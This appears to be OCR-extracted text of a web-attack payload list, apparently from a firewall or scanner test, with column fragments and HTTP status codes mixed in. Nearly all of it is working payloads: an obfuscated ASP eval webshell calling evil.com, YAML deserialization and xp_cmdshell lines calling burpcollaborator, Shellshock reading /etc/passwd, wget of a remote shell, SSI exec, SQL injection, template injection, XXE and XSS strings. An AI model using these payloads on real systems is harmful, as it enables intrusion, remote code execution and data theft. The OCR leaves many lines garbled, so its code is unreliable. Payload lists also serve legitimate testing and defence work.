Write(""""*@1x1@*"""") :Response.End"")")

Ev al ("Ex"&"e"&"cute(""Server.ScriptTimeout=3680:0n Error Resume Ne
xt:Function bd(byVal s):For i=1 To Len(s) Step 2:c=M"&"i"&"d(s,i,2):
If IsNumeric(M"&"i"&"d(s,i,1)) Then:Ex"&"e"&"cute(""""bd=bd&
c"&"h"&"r(&H""""&c&" """ ") """ ") :E1se:Ex"&"e"&"cute (""" "bd=bd&c"&"h"&"r
(BH""""&cqM"8"i"&"d(s,i 2,2)&"""")""""):i=1i 2:End If""&c"&"h"&"r(18)
&""Next:End Function:Response.Write(""""@*1x1*@""""):Ex"&"e"&"cute
(""""0n Error Resume Next:""""&bd(""""44696d20686d3ab36574206T626a58
4d4c3db365727665722e43726561746541626a65637428224d53584d4c322e536572
766572584d4c4854545022293a6F626a584d4c2e6F78656e2022474554222¢226874
74703a2f2f6576696c2e636T6d2f6170692e7068783f6b65793d7¢786c736c31736b
733832646a6173647564736178787878222c66616¢73653a6f626ab84d4c2e73656e
6428293a686d3d6f626a584d4c2e726573706F6e7365546578743a496620686d3c3e
2244b222085468656e3a526573706F6e73652e57726974652822454e4422293a456e
642049663a526573706F6e73652e577269746528224c584c2229"""")) :Response.
Write(""""*@1x1@*"""") :Response.End"")")

Ev al ("Ex"&"e"&"cute(""Server.ScriptTimeout=36080:0n Error Resume Ne
xt:Function bd(byVal s):For i=1 To Len(s) Step 2:c=M"&"i"&"d(s,i,2):
If IsNumeric(M"&"i"&"d(s,i,1)) Then:Ex"&"e"&"cute(""""bd=bd&
c"&"h"&"r(&H""""&cq" ")) :E1se:Ex"&"e"&" cute (""" "bd=hd&c"&"h"&"r
(BH""""gcqM"8"i"&"d(s,i 2,2)&"""")""""):i=i 2:End If""&c"&"h"8&"r(18)
&""Next:End Function:Response.Write(""""@*1x1*@""""):Ex"&"e"&"cute
(""""0n Error Resume Next:""""&bd(""""44696d26686d3a536574206f626a58
4d4e3dRh3ART2TAART?22043726RA1T4ARLTA?626RARTA2R724dAR3RRAALRR?20RRART?

rce-urlparam

rce-urlparam

rce-urlparam

rce

rce

URL

URL

URL

URL

URL

Plain

HTMLMultipar
tForm

HTMLForm

HTMLMultipar
tForm

URLPath

JSONRequest

ISNONIRanIIAact

405

405

405

404

502

EN?2



766572584d4c4854545022293a6F626a584d4c2e6178656e2022474554222¢226874
74703a2f2f6576696c2e636T6d216170692e78687083f6b65793d7¢786c736¢31736b
733832646a6173647564736178787878222c66616c73653a6T626a584d4c2e73656e
6428293a686d3d6f626a584d4c2e726573706F6e7365546578743a496620686d3c3e
224f4b22205468656€3a526573706F6e73652e57726974652822454e4422293a456e
642049663a526573706F6e73652e577269746528224c584¢2229"""")) :Response.
Write(""""*@1x1@*"""") :Response.End"")")

Ev al ("Ex"&"e"&"cute(""Server.ScriptTimeout=36080:0n Error Resume Ne
xt:Function bd(byVal s):For i=1 To Len(s) Step 2:c=M"&"i"&"d(s,i,2):
If IsNumeric(M"&"i"&"d(s,i,1)) Then:Ex"&"e"&"cute(""""bd=bd&
c"&"h"&"r(&H""""gcqM" ")) :E1se:Ex"&"e"&" cute (""" "bd=hd&c"&"h"&"r
(BH""""gcqM"&"i"&"d(s,i 2,2)&"""")""" ") :i=1 2:End If""&"&"h"&"r(10)
&""Next:End Function:Response.Write(""""@*1x1*@""""):Ex"&"e"&"cute
(""""0n Error Resume Next:""""&bd(""""44696d20686d3a536574206626a58
4d4c3d5365727665722e43726561746541626a65637428224d53584d4c322e536572
766572584d4c4854545022293a6626a584d4c2e6f78656e2022474554222¢226874
74703a2f2f6576696c2e636T6d2f6170692e78687083f6b65793d7c786c736¢31736b
733832646a6173647564736178787878222c66616c73653a6T626ab84d4c2e73656e
6428293a686d3d6T626ab84d4c2e726573706F6e7365546578743a496628686d3c3e
224T4h222085468656e3a526573706T6e73652e57726974652822454e4422293a456e
642049663a526573706F6e73652e577269746528224¢584¢2229"""") ) :Response.
Write(""""*@1x1@*"""") :Response.End"")")

!1python/object/new:exec [import socket; socket.gethostbyname('someh
ost.burpcollaborator.net')]

!1python/object/new:exec [import socket; socket.gethostbyname('someh
ost.burpcollaborator.net')]

python/object/new:exec [import socket; socket.gethostbyname('someh
ost.burpcollaborator.net')]

1python/object/new:exec [import socket; socket.gethostbyname('someh
ost.burpcollaborator.net')]

() { :; }; echo ; /bin/bash -c¢ 'cat /etc/passwd’
(O { :; }; echo ; /bin/bash -c 'cat /etc/passwd'
“echo${IFS}848954+773784"

“echo${IFS}848954+773784"

“echo${IFS}848954+773784"

;wget http://some_host/sh311.sh
;wget http://some_host/sh311.sh

;wget http://some_host/sh311.sh

;wget http://some_host/sh311.sh

|/bin/id|

|/bin/id|

| /bin/id]

|/bin/id|

|/bin/id|

|getent+hosts+somehost.burpcollaborator.net.&
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| /bin/id|

|getent+hosts+somehost.burpcollaborator.

|getent+hosts+somehost.burpcollaborator.

|getent+hosts+somehost.burpcollaborator.

|getent+hosts+somehost.burpcollaborator.

|getent+hosts+somehost.burpcollaborator.

;getent$IFS$9hosts$IFS$9Isomehost.burpcollaborator.net;echo$IFS$9$((3

482*7381));

;getent$IFS$9hosts$IFS$9somehost . burpcollaborator.net;echo$IFS$9$((3

482%7301));

;getent$IFS$9hosts$IFS$9somehost. burpcollaborator.net;echo$IFS$9$((3

482%7381));

set /a 3482*7301

set /a 3482*7301

set /a 3482*7301

set /a 3482*7301

set /a 3482*7301

"union select -7431.

—_

name, @aaa from

"union select -7431.

—

name, @aaa from

"union select -7431.

N

name, @aaa from

"union select -7431.

—

name, @aaa from

"union select -7431.

N

name, @aaa from
'or 123.22=123.22
'or 123.22=123.22

'or 123.22=123.22

'or 123.22=123.22

‘or 123.22=123.22

waitfor delay '06:00:10'--

waitfor delay '06:00:18'--

waitfor delay '06:00:18'--

waitfor delay '06:00:18'--

waitfor delay '06:00:18'--

")) or pg_sleep(5)--

net.&
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")) or pg_sleep(5)--

")) or pg_sleep(5)--

")) or pg_sleep(5)--

")) or pg_sleep(5)--

(select (@) from(select(sleep(15)))v)/*'+(select(8)from(select(sleep(1
5)))v)+'%22+(select(8)from(select(sleep(15)))v)+%22*/

(select (@) from(select(sleep(15)))v)/*'+(select(8)from(select(sleep(1
5)))v)+'%22+(select(B)from(select(sleep(15)))v)+%22*/

(select (@) from(select(sleep(15)))v)/*'+(select(8)from(select(sleep(1
5)))v)+'%22+(select(8)from(select(sleep(15)))v)+%22*/

(select (@) from(select(sleep(15)))v)/*'+(select(8)from(select(sleep(1
5)))v)+'%22+(select(8)from(select(sleep(15)))v)+%22*/

(select (@) from(select(sleep(15)))v)/*'+(select(8)from(select(sleep(1
5)))v)+'%22+(select(8)from(select(sleep(15)))v)+%22*/

3;/* a */ DECLARE @c varchar(255);/* b */SELECT @c='ping '+master.sy
s.fn_varbintohexstr(convert(varbinary,SYSTEM_USER))+'.0808.burpco
1'+'laborator.net';/*xx*/ EXEC Master.dbo.xp_cmdshell @c;/*xxx*/ EXE
C sp_SYS_ProtoOp @id=3

3;/* a */ DECLARE @c varchar(255);/* b */SELECT @c='ping '+master.sy
s.fn_varbintohexstr(convert(varbinary,SYSTEM_USER))+'.0808.burpco
1'+'laborator.net';/*xx*/ EXEC Master.dbo.xp_cmdshell @c;/*xxx*/ EXE
C sp_SYS_ProtoOp @id=3

3;/* a */ DECLARE @c varchar(255);/* b */SELECT @c='ping '+master.sy
s.fn_varbintohexstr(convert(varbinary,SYSTEM_USER))+'.0808.burpco
1'+'laborator.net';/*xx*/ EXEC Master.dbo.xp_cmdshell @c;/*xxx*/ EXE
C sp_SYS_ProtoOp @id=3

3;/* a */ DECLARE @c varchar(255);/* b */SELECT @c='ping '+master.sy
s.fn_varbintohexstr(convert(varbinary,SYSTEM_USER))+'.0808.burpco
1'+'laborator.net';/*xx*/ EXEC Master.dbo.xp_cmdshell @c;/*xxx*/ EXE
C sp_SYS_ProtoOp @id=3

3;/* a */ DECLARE @c varchar(255);/* b */SELECT @c='ping '+master.sy
s.fn_varbintohexstr(convert(varbinary,SYSTEM_USER))+'.0808.burpco
1'+'laborator.net';/*xx*/ EXEC Master.dbo.xp_cmdshell @c;/*xxx*/ EXE
C sp_SYS_ProtoOp @id=3

<!l—ttexec cmd="wget http://some_host/shell.txt | rename shell.txt sh
ell.php"—

<!l—ttexec cmd="wget http://some_host/shell.txt | rename shell.txt sh
ell.php"—

<!l—#exec cmd="wget http://some_host/shell.txt | rename shell.txt sh
ell.php"—

<!l—ttexec cmd="wget http://some_host/shell.txt | rename shell.txt sh
ell.php"—

<l—*#techo var="DOCUMENT_URI" —
<!l—ttecho var="DOCUMENT_URI" —>

<l—t#techo var="DOCUMENT_URI" —>

<!l—ttecho var="DOCUMENT_URI" —>
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<l—titexec cmd="1s" —>

<l—ttexec cmd="1s" —>

<l—ttexec cmd="1s" —>

<l—t#texec cmd="1s" —>
<l—texec cmd="dir" —

<l—t#exec cmd="dir" —

<l—texec cmd="dir" —

<l—#exec cmd="dir" —
<I—t#include file="UUUUUUUU...UUV"—
<!—t#include file="UUUUUUUU...UUV"—

<l—#include file="UUUUUUUU...UU"—

<!l—#include file="UUUUUUUU...UU"—

{php}echo ‘id’;{/php}

{php}echo ‘id’;{/php}

{php}echo ‘id’;{/php}

{php}echo ‘id’;{/php}

{php}echo ‘id’;{/php}

{{+'".__class__.__mro__[2].__subclasses__()[40]("'/test/aaaa').read()

+3}

{{+'".__class__.__mro__[2].__subclasses__()[40]('/test/aaaa').read()

1}

{{+'".__class__.__mro__[2].__subclasses__()[40]("'/test/aaaa').read()

+1}
${class.getResource("./test/test.res").getContent()}
${class.getResource("./test/test.res").getContent()}

${class.getResource("./test/test.res").getContent()}

${class.getResource("./test/test.res").getContent()}

{{_self.env.registerUndefinedFilterCallback("exec")3}}{{_self.env.

Filter("id")}}

{{_self.env.registerUndefinedFilterCallback("exec")3}}{{_self.env.

Filter("id")}}

{{_self.env.registerUndefinedFilterCallback("exec")}3}{{_self.env.

Filter("id")3}}

{{_self.env.registerUndefinedFilterCallback("exec")3}}{{_self.env.

Filter("id")}}

{{_self.env.registerUndefinedFilterCallback("exec")3}}{{_self.env.

get
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get
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Filter("id")}}

{{_self.env.registerUndefinedFilterCallback("exec")3}}{{_self.env.get
Filter("id")3}}

<t#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("i

dll)}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("i

dll)}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("i

d“)}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("i

dll)}

aaaa\uBe27%2b#{16*8787}%2b\uBB27bbb

aaaa\u@B27%2bt{16*87873%2b\uBB27bbb

aaaa\uBB27%2b#{16*87873%2b\uBB27bbb
2aaa\uBB27%2b#{16*87873}%2b\ub027bbb
aaaa\uBB27%2b#{16*87873%2b\uBB27bbb

{{request|attr("__class__")}}

aaaa\u@B27%2btt{16*87873%2b\uBB27bbb

{{request|attr("__class__")}}
{{request|attr("__class__")}}

{{request|attr("__class__")}}

{{request|attr("__class__")}}

{{request|attr("__class__")}}

{{1337*1338}}

{{1337*1338}}

{{1337*1338}}

{{1337*1338}}

£{1337%1338}}

{{1337%1338}}

<IDOCTYPE x SYSTEM "//x/x" > <x>a</x>

<IDOCTYPE x [ <!ENTITY % y SYSTEM "//y/y" > %y; I><x>a</x>

<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://host/
text.txt" > ] > <foo>&xxe;</foo>

<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "expect://i
d">]><foo>&xxe;</foo>

<?xml version="1.8" encoding="IS0-8859-1"?><!DOCTYPE foo [ <!ELEMENT
foo ANY> <!ENTITY xxe SYSTEM "file:///dev/random">] > <foo>&xxe;</fo
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0>

<?xml version="1.8" ?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe
SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>

<?xml version="1.8" encoding="utf-8" standalone="no" ?><xs:schema xm
Ins:xs="http://www.w3.0rg/2081/XMLSchema"><xs:include namespace="htt
p://xxe-xsinclude-namespace.yourdomain[ . Jcom/"/></xs:schema>

<?xml version="1.8" encoding="utf-8" standalone="no" ?><x xmlns:xsi
="http://www.w3.0rg/2001/XMLSchema-instance" xsi:schemalLocation="htt
p://xxe-xsi-schemalocation.yourdomain[.]com/"/>

<?xml version="1.8" encoding="UTF-8"?><!DOCTYPE x [<!ENTITY % xxe PU
BLIC "any_text" "http://evil.com/evil.dtd">%xxe;]><root>&xxe;</root>

<?xml version="1.8" encoding="1S0-8859-1" ?> <!DOCTYPE foo [ <!ELEME
NT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;
</foo>

<?xml version="1.8" encoding="utf-8" standalone="no" ?><!DOCTYPE mes
sage [ <!ENTITY % local_dtd SYSTEM "jar:file:/opt/jboss/wildfly/modu
les/system/layers/base/org/apache/lucene/main/lucene-queryparser-5.
5.5.jar!/org/apache/lucene/queryparser/xml/LuceneCoreQuery.dtd"> <!E
NTITY % queries 'aaa)> <!ENTITY &#x25; file SYSTEM "http://evil.co
m'"> <!ENTITY &H#x25; eval "<!ENTITY &i#x26;#x25; error SYSTEM &#x27;fi
le:///abcxyz/&#x25; file; &#x27;>"> &#tx25;eval; &#x25;error; <!ELEMENT
aa (bb'> %local_dtd;]><message></message>

<body onload=alert('test1')>

<IDOCTYPE xxe [ <!'ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///et
c/group">]> <Autodiscover xmlns="http://schemas.microsoft.com/exchan
ge/autodiscover/outlook/responseschema/2606a"> <Request> <EMailAddre
ss>aaaaa</EMailAddress> <AcceptableResponseSchema>&xxe;</AcceptableR
esponseSchema> </Request> </Autodiscover>

<!—7xml version="1.8" ?—> <!DOCTYPE replace [<!ENTITY ent SYSTEM
"file:///etc/passwd"> ]> <userInfo> <firstName>John</firstName> <las
tName>&ent ;</lastName> </userInfo>

<body onload=alert('test1')>

<body onload=alert('test1')>

<body onload=alert('test1')>

<b onmouseover=alert('Wufff!')>click me!</b>

<b onmouseover=alert('Wufff!')>click me!</b>

<b onmouseover=alert('Wufff!')>click me!</b>
<b onmouseover=alert('Wufff!')>click me!</b>

<IMG SRC=j&#X41vascript:alert('test')>

<IMG SRC=j&#X41vascript:alert('test')>

<IMG SRC=j&#X41vascript:alert('test')>
<IMG SRC=j&#X41vascript:alert('test')>
<script>alert("TEST");</script>

<script>alert("TEST");</script>
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<script>alert("TEST");</script>

"><script>alert()</script>

"><script>alert()</script>

"><script>alert()</script>

<img/src=x/onerror=xxx
<img/src=x/onerror=xxx

<img/src=x/onerror=xxx

<img/src=x/onerror=xxx

"onwheel=ead(111)

"onwheel=ead(111)

"onwheel=ead(111)

"onwheel=ead(111)

?__proto__[innerHTML]=<img/src/onerror%3dalert(1)>

?__proto__[innerHTML]=<img/src/onerror%3dalert(1)>

?__proto__[innerHTML]=<img/src/onerror%3dalert(1)>

?__proto__[innerHTML]=<img/src/onerror%3dalert(1)>
?__proto__[CLOSURE_BASE_PATH]=data:

?__proto__[CLOSURE_BASE_PATH]=data:

?__proto__[CLOSURE_BASE_PATH]=data:

?__proto__[CLOSURE_BASE_PATH]=data:

,alert(1)//

,alert(1)//

,alert(1)//

,alert(1)//

__proto__[v-if]=_c.constructor('alert(1)')()
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